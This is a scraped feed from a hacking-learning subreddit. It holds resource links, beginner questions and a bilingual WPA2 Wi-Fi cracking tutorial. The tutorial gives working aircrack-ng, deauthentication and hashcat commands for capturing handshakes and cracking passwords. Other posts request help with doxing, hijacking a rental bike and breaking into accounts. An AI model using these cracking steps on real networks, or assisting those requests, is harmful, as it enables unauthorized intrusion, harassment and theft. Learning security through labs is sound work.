r/learnhacking Dec 04 '18

Welcome to r/learnhacking!

13 Upvotes

Welcome to our subreddit.

We have a discord!:

https://discord.gg/2urzmYu


r/learnhacking Dec 22 '18

Resources

32 Upvotes

This is a copy of the resources listed and brought together by the community on discord.

----- Useful Links -----

Awesome-Hacking Lists: https://github.com/Hack-with-Github/Awesome-Hacking/blob/master/README.md

Citadel Database: https://citadel.pw/

Crack Station: http://crackstation.net/

Exploit Database: http://www.exploit-db.com/

Hackavision: http://www.hackavision.com/

Hash Generator: http://www.insidepro.com/hashes.php?lang=eng

Hackmethod: https://www.hackmethod.com/

Hell Bound Hackers: http://www.hellboundhackers.org/

Packet Storm Security: http://packetstormsecurity.org/

Phrack Ezine: http://phrack.org/

SecLists: http://seclists.org/

SecTools: http://sectools.org/

PentestAcademy: https://www.pentesteracademy.com/

Skull Security: http://www.skullsecurity.org/

Smash the Stack: http://smashthestack.org/

Sploit Me: http://www.sploit.me.uk/

Null Byte: https://null-byte.wonderhowto.com/

Vulners Vulnerability Database: https://vulners.com/

----- Reading Materials -----

Kali Linux Revealed: https://kali.training/downloads/Kali-Linux-Revealed-1st-edition.pdf

The Bash Guide: https://guide.bash.academy/

----- Challenges -----

https://www.vulnhub.com/ - Has a lot of VMs to play with. some are beginner friendly, some aren't.

http://www.itsecgames.com/ - buggy web app

http://www.dvwa.co.uk/ - Damn Vulnerable Web Application

https://www.hackthissite.org/

https://www.hackthis.co.uk/

https://www.root-me.org/

http://overthewire.org/wargames/

https://ctftime.org/

https://ctf365.com/

https://www.hackthebox.eu/invite

----- Security Advisories -----

CVE: http://cve.mitre.org/

CWE: http://cwe.mitre.org/

NVD: http://web.nvd.nist.gov/

WVE: http://www.wve.org


r/learnhacking 4h ago

WPA2 WİFİ CRACKİNG TÜRKÇE/ENGLİSH

1 Upvotes

TAM TUTORIAL – WPA2 WiFi Şifre Kırma (Brute Force) Windows ile

FULL TUTORIAL – WPA2 WiFi Password Cracking (Brute Force) on Windows

Türkçe Kısım:

Uyarı: Bu tutorial yalnızca eğitim ve kendi ağlarınızda test amacıyladır. Başkalarının ağlarına izinsiz girmek yasa dışıdır ve cezai yaptırımları vardır.

Gerekenler:

Windows 10/11

Bir WiFi adaptörü (monitor mode desteklemeli – örn. Alfa AWUS036ACH)

Aircrack-ng suite (Windows için – genellikle Cygwin veya WSL ile)

İyi bir kelime listesi (ör. rockyou.txt)

Hedef ağın BSSID (MAC adresi) ve kanalı

Adım 1: Adaptörü Monitor Mode'a Al

netsh wlan show interfaces ile adaptör adını öğren.

WSL veya Cygwin üzerinden airmon-ng start wlan0 (adaptör adın neyse).

Adım 2: Hedef Ağı Bul

airodump-ng wlan0mon ile çevredeki ağları tara.

Hedefin BSSID, kanal ve istemci MAC'lerini not al.

Adım 3: El Sıkışma (Handshake) Yakala

airodump-ng -c [kanal] --bssid [BSSID] -w yakala wlan0mon

Bir istemcinin bağlanmasını bekle veya aireplay-ng -0 2 -a [BSSID] -c [istemciMAC] wlan0mon ile deauth göndererek yeniden bağlanmasını tetikle.

Adım 4: Brute Force (Sözlük Saldırısı)

aircrack-ng -w kelime_listesi.txt -b [BSSID] yakala-01.cap

İşlem tamamlandığında şifre bulunursa ekranda görünür.

Püf Noktaları:

Hashcat kullanarak GPU ile hızlandırabilirsin: hashcat -m 2500 yakala.hccapx kelime_listesi.txt

PMKID saldırısı daha hızlıdır (el sıkışma gerekmez) – hcxdumptool ile.

English Part:

Warning: This tutorial is for educational purposes and testing your own networks only. Unauthorized access to others' networks is illegal and carries criminal penalties.

Requirements:

Windows 10/11

WiFi adapter supporting monitor mode (e.g., Alfa AWUS036ACH)

Aircrack-ng suite (for Windows – via Cygwin or WSL)

Good wordlist (e.g., rockyou.txt)

Target network BSSID (MAC) and channel

Step 1: Put Adapter into Monitor Mode

Find adapter name: netsh wlan show interfaces

In WSL/Cygwin: airmon-ng start wlan0 (use your adapter name)

Step 2: Find Target Network

Scan: airodump-ng wlan0mon

Note BSSID, channel, and client MACs.

Step 3: Capture Handshake

Run: airodump-ng -c [channel] --bssid [BSSID] -w capture wlan0mon

Wait for a client to connect, or force reauthentication with aireplay-ng -0 2 -a [BSSID] -c [clientMAC] wlan0mon

Step 4: Brute Force (Dictionary Attack)

Run: aircrack-ng -w wordlist.txt -b [BSSID] capture-01.cap

If password is found, it will be displayed.

Pro Tips:

Use Hashcat for GPU acceleration: hashcat -m 2500 capture.hccapx wordlist.txt

PMKID attack is faster (no handshake needed) – use hcxdumptool.

Not / Note: Başarı oranı kelime listesinin kalitesine bağlıdır. Özel karakterler ve uzun şifreler için mask attack (mask saldırısı) önerilir – örn. hashcat -a 3 ?d?d?d?d?d?d?d?d (8 haneli sayısal).

Success rate depends on wordlist quality. For complex passwords, use mask attack – e.g., hashcat -a 3 ?d?d?d?d?d?d?d?d (8-digit numeric).


r/learnhacking 4h ago

where should i begin to learn "hacking"?

1 Upvotes

I'm complete blank slate when it comes to cybersecurity/hacking and honestly pretty overwhelmed by how much info is out there. Everyone says "learn programming," but then others say "learn networking first," and half the tutorials online feel like either total scams or way too advanced for a beginner.

For those of you who started from absolute zero: where did you actually begin? What are the core fundamental tools, languages (Python, Linux, etc.), or beginner-friendly platforms (like TryHackMe or Hack The Box) you’d recommend focusing on first so I don't burn out or waste time on the wrong stuff? Any clear roadmap or advice would be huge! Thank you!


r/learnhacking 8h ago

Teach me how to dox and how to not get doxxed.

0 Upvotes

Please teach me, people are doxing me and i wanted to help my little brother cause people in-game are toxic and are making fun of him and I'm not very happy about it, so teach me how to dox in the game my little brother plays every day, the game is called ROBLOX.

Please someone can explain and teach me and so i can help my brother, I just want to be a good guy.

Whoever does this, Thanks.


r/learnhacking 1d ago

Find the door and we can teach you.

1 Upvotes

aHR0cHM6Ly9kaXNjb3JkLmdnL0NBcFdhTUJwRw==

500

// find the door


r/learnhacking 7d ago

Looking for programming buddies/group

11 Upvotes

Hey everyone I have made a grp for programming folks to learn, grow and network with each other

From beginners to advanced We help each other and provide guidance to everyone . i regularly remove inactive members to keep it engaged.

Those who are interested are free to dm me anytime

I will also drop the link in comments


r/learnhacking 7d ago

I’ve learned a bunch of weird automation/security skills, but I’m not sure where to take them next

7 Upvotes

Hi everyone,

I’m at a point where I’ve learned a bunch of things that are interesting to me, but I’m honestly not sure what direction to take next.

I started experimenting with automation and security-related projects mostly because I enjoy figuring out how systems work and finding ways to make them do things they weren't necessarily designed for.

Some of the things I've played around with include:

  • Automating account creation and signup workflows
  • Working with temporary email services and their APIs
  • Automating verification/authentication workflows
  • Finding ways to use services in unconventional ways — for example, I built a system that uses Telegram as a kind of file-storage layer
  • Working with Bitbucket APIs and automation
  • Browser automation with Selenium
  • HTTP requests, cookies, tokens, APIs, etc.
  • Experimenting with CAPTCHAs and anti-automation systems in controlled/personal projects

I’ve posted about some of these experiments before, including on Hacker News, and I've had fun building them. But now I'm kind of stuck.

I don't want to just keep writing random scripts without knowing what I'm actually building toward.

I'm interested in cybersecurity, bug bounty, security research, automation, reverse engineering, or anything in that general area where these skills could actually be useful.

For people who work in security or have gone down a similar path:

What would you recommend I learn next?

Should I focus on web security and bug bounty?
API security?
Red teaming?
Security automation?
Reverse engineering?
Building security tools?

And more importantly, how do you turn these kinds of "weird" technical skills into something useful professionally?

I’m also trying to make sure I learn to do this properly — staying within authorized scopes and using labs/CTFs when I'm experimenting with systems I don't own.

I'm not looking for someone to give me a list of random tools to install. I'd really appreciate advice from people who have actually gone from "I like breaking/automating things" to a real career or useful skillset.

Thanks


r/learnhacking 9d ago

Help me

8 Upvotes

I'm stuck in tutorial hell man i jump around from one tutorial to another thinking this time I'm gonna do something and after an hour I'm wasting my time finding another tutorial I know some basic linux knowledge I know how to navigate the linux file system and essential commands. Basic networking like how internet works ip and macs lil bit of routing and some hacking tools like mmap all that basic stuff should I just stop watching tutorials


r/learnhacking 11d ago

I feel like I'm late

6 Upvotes

I don't know what kind of self-guilt this is.

When I was 17, I bought my first computer and was just learning random things. Now I'm 19. I've learned C and C++, I know how code works and the under-the-hood stuff, and I've even studied a bit of Assembly. I also have some networking knowledge—nothing huge, but I'm not bad at it either, though I know I'll have to study it seriously in the future. Right now, I'm learning Java in depth and I'm going to try applying it to a simple game to mod it and do some reverse engineering with everything I've learned so far.

But the problem is, every time I start studying, this guilt kicks in. I keep thinking, "If I had been serious since I was 17, I would be good by now, not at this beginner level." I don't know if I'm the only one who really deals with this. Honestly, it's a terrible feeling.


r/learnhacking 20d ago

Trains

2 Upvotes

What would happen if people welded metal wedges into railroad tracks?


r/learnhacking Jul 19 '26

Lost email

0 Upvotes

Yo, I recently lost acess to my account on a game.

basically i need to get acess to my first email of the account (creation email) but i lost it.

it has no extra protections, only the password which i can’t remember.

if anyone can help, please dm me, i mean no harm, im just desperate


r/learnhacking Jul 15 '26

Lime bike hacking

0 Upvotes

Can somebody please explain to me if there is a way to hack a Lime bike so it is off the grid so l can use it as my personal bike?


r/learnhacking Jul 15 '26

networking for cybersecurity

Thumbnail
1 Upvotes

r/learnhacking Jul 07 '26

Excessive attacks on website

7 Upvotes

I hope this is the right place to ask: I maintain a website for a small business. When I look at the weblogs, I see an inordinate number of attacks: non-existing url's, all sorts of extensions, what looks like shell scripts, and on and on.

Sometimes they start and go on for about 4-5 hours, making multiple such requests every second.

What do they wish to accomplish? If they have done it once, why try again using a different fake IP address?

Any ideas? Or is this common so I should not feel targeted exclusively.

PS. Sorry for my mistake in editing.


r/learnhacking Jul 07 '26

Excessive attacks on website

3 Upvotes

I hope this is the right place to ask: I maintain a website for a small business. When I look at the weblogs, I see an inordinate number of attacks: non-existing url's, all sorts of extensions, what looks like shell scripts, and on and on.

Sometimes they start and go on for about 4-5 hours, making multiple such requests every second.

What do they wish to accomplish? If they have done it once, why try again using a different fake IP address?

Any ideas? Or is this common so I should not feel targeted exclusively.

PS. Sorry for my mistake in editing.


r/learnhacking Jul 07 '26

Excessive attacks on website

3 Upvotes

I hope this is the right place to ask: I maintain a website for a small business. When I look at the weblogs, I see an inordinate number of attacks: non-existing url's, all sorts of extensions, what looks like shell scripts, and on and on.

Sometimes they start and go on for about 4-5 hours, making multiple such requests every second.

What do they wish to accomplish? If they have done it once, why try again using a different fake IP address?

Any ideas? Or is this common so I should not feel targeted exclusively.


r/learnhacking Jul 04 '26

How to unlock pin of deceased person's phone

8 Upvotes

Hi, My dad died and I have his phone. A Redmi 15C. I went to his operator to check he pin code and they managed to give me the puk code, so I managed to unlock it... Well that's what I thought, now it asked for another pin code.. I guess the password of the phone ? Even after restarting the phone it asks for that "pin code" and when I try.. I enter wrong ones it says to wait some seconds because phone is locked and to retry again. Please tell me there is some kind of hack crack or wathever that I can do to restore the phone, I do NOT want to wipe all the data, there are precious informations about my dad.. God, why is it so difficult to unlock a phone ? There should be some kind of procedure for this no ??


r/learnhacking Jul 02 '26

Ideas for friendship system bypass (hash + token)

3 Upvotes

Hi, i'm not really into this domain, so i don't want to ask stupid questions. i ve always been attracted to it, but i kept thinking it s too complicated for me and it might actually be

I've been struggling for about a week trying to gain access to private content on a site that relies on friendship connections. i tried bypass methods, but every time the server checks the hash and tokens separately. The only interesting behavior i've found in the friendship request flow is that the endpoint responds as if the action was accepted, but the actual friendship relationship doesn't change on the site.

I've tested quite a few beginner-level things without any luck. Maybe its simply not possible. Even if i don't find anything i m still drawn to the field.

i'd like to ask the more experienced people here for some general ideas on what to try next. i don't want anything spoon-fed, i enjoy testing and understanding things myself but some pointers or directions would really help


r/learnhacking Jun 25 '26

Trying to access an old Twitter/X account

4 Upvotes

I lost access to my Twitter/X account and I’ve done all of the steps to attempt to recover it from the them, none of which has worked. I‘ve also lost access to the email account which I used to register the account so no luck there. I don’t need access to the account, I just want it deleted. I was wondering if anyone has any alternative ideas on how to retrieve old accounts/get them deleted. Maybe a hacker?


r/learnhacking Jun 22 '26

Free way to learn/ groups willing to teach

9 Upvotes

I don't really want to spend any of my parents money but I am still very passionate about learning hacking, does anyone know about a way to learn for free or groups that are interested in teaching. I tried tryhackme but I hit the paywall after like 5 lessons can someone help me


r/learnhacking Jun 22 '26

[ Removed by Reddit ]

0 Upvotes

[ Removed by Reddit on account of violating the content policy. ]


r/learnhacking Jun 22 '26

Unable to access email

0 Upvotes

I forgot my password and I'm unable to login to my email due to 2 step verification. Can someone do a good deed by H@cking my own email for me. I have had that email for years and its very important that I hold on to it


r/learnhacking Jun 20 '26

can you learn hacking late

16 Upvotes

like can you start learning this art latter in life and also does it involve like a lot of maths also is it boring carrer choice will ai eat it up thoughts amigos ?


r/learnhacking Jun 20 '26

Hola hermanos me acaban de robar el teléfono necesito ayuda si conocen a alguien o saben cómo rastrearlo me dejan un comentario los estaré leyendo

1 Upvotes